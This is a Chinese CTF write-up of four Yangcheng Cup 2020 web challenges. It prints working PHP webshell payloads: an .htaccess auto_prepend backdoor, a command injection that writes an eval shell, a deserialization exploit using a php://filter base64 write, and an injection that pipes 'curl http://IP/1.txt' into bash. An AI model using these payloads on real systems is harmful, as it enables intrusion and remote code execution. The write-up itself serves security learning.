羊城杯2020复现

easyphp

和[XNUCA2019Qualifier]EasyPHP基本一样,唯一的区别就是少了include_once导致没办法通过error_log来做,预期解应该就是那道题的非预期。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

文件包含,其中文件内容不能有on|html|type|flag|upload|file关键字,文件名只能有字母和点,且每次访问都会删除当前目录除index.php之外的文件。

写个一句话,发现没有被解析,可能是php解析配置php_flag engine关闭了。配置的问题还是要回归配置文件,虽然主配置文件中关闭了php解析,但.htaccess优先度高于主配置文件,因此我们可以使用.htaccess执行php代码。

法一

利用.htaccess构成后门,payload:

1
?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23%20<?php system($_POST["cmd"]);?>\

法二

通过php_value来设置preg_macth正则回溯次数

1
?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\

使preg_match返回False,继而绕过了正则判断,然后的过程由于源码没有使用include,所以应该还是利用.htaccess写入php代码自包含吧,那和前一种方法差不多(自认为)。

Easyphp2

robots.txt提示check.php,暂时用不上,先搁着

伪协议读源码,有waf,fuzz一下,base64|rot13ban了,换个过滤器quoted-printable-encode

1
?file=php://filter/convert.quoted-printable-encode/resource=GWHT.php

Encode/Decode Quoted Printable还原,获得源码

GWHT.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
ini_set('max_execution_time', 5);

if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
...
<?php
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>

check.php

1
2
3
4
5
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";
header('Location: /');

写木马

1
1'| echo "<?=eval(\$_POST['shell'])?>" > shell.php ||'

蚁剑连接,根目录下没有flag,但是在/GWHT/README读到My password hash is 877862561ba0162ce610dd8bf90868ad414f0ec6,解出来密钥为GWHTCTF。再执行一下ls -l查看文件权限,发现所有人是GWHT,也就是我们需要切换为该用户,呃呃呃,su命令用不了咋整啊,嘤嘤嘤。。。

赶紧恶补一下Linux提权,收集信息的过程中查看root进程发现

1
/bin/sh -c bash -c 'echo $FLAG > /GWHT/system/of/a/down/flag.txt && apache2-foreground'

环境变量里有,那还等什么,直接echo出flag。

EasySer

robots.txt提示star1.php(别问,问就是猜的)

index.php没发现什么东西,访问star1.php看看,F12

1
<!--  小胖说用个不安全的协议从我家才能进ser.php呢!  !-->

直接http://127.0.0.1/ser.php访问获得源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this->file = $file;
        $this->text = $text;
    }
    public function hasaki(){
        $d = '<?php die("nononon");?>';
        $a = $d.$this->text;
         @file_put_contents($this->file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}
?>

后面没思路了,参数传递点死活找不到。。。看了源码才知道star1.php还接收了一个参数c(怎么找到的啊,不会啊),也是这个c赋值触发了__toString魔术方法。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
class GWHT{
    public $hero;
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this->file = $file;
        $this->text = $text;
    }
}
$filename = "php://filter/write=convert.base64-decode/resource=aaa.php";
$content = "aaaPD9waHAgc3lzdGVtKCRfUE9TVFthXSk7";// <?php system($_POST[a]);
$o = new GWHT();
$o->hero = new Yongen($filename,$content);
echo serialize($o);
?>

payload

1
?path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:57:"php://filter/write=convert.base64-decode/resource=aaa.php";s:4:"text";s:35:"aaaPD9waHAgc3lzdGVtKCRfUE9TVFthXSk7";}}

添加的aaa是补全前面的死亡代码,使其凑够为8的倍数,否则base64解码时会破坏我们构造的shell。

注意:flag.php是幌子,是我太单纯了。。。

Blackcat

F12,点进Hei_Mao_Jing_Chang.mp3,最下面出现源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);

php参考手册中提到参数为数组时返回NULL,此时$clandestine值即为NULL,那么$hh就可以算出来了。echo加exec,那也不用弹什么shell了,直接命令执行,回显只会显示最后一行,base64也无法完全显示出来,只能弹shell了。

White-cat-monitor[]=ttt&Black-Cat-Sheriff=hash值&One-ear=;curl http://IP/1.txt|bash

flag在环境变量里,之前也猜到在环境变量里了,但是echo $FLAG的hash值总是匹配不上,也不知道为啥。。。

后面的两道一道Java一道PWN,不是我现在能做的😂

参考

羊城杯CTF Web Write-Up

深究用户利用.htaccess的原理篡改配置导致的安全问题

羊城杯2020 Web Writeup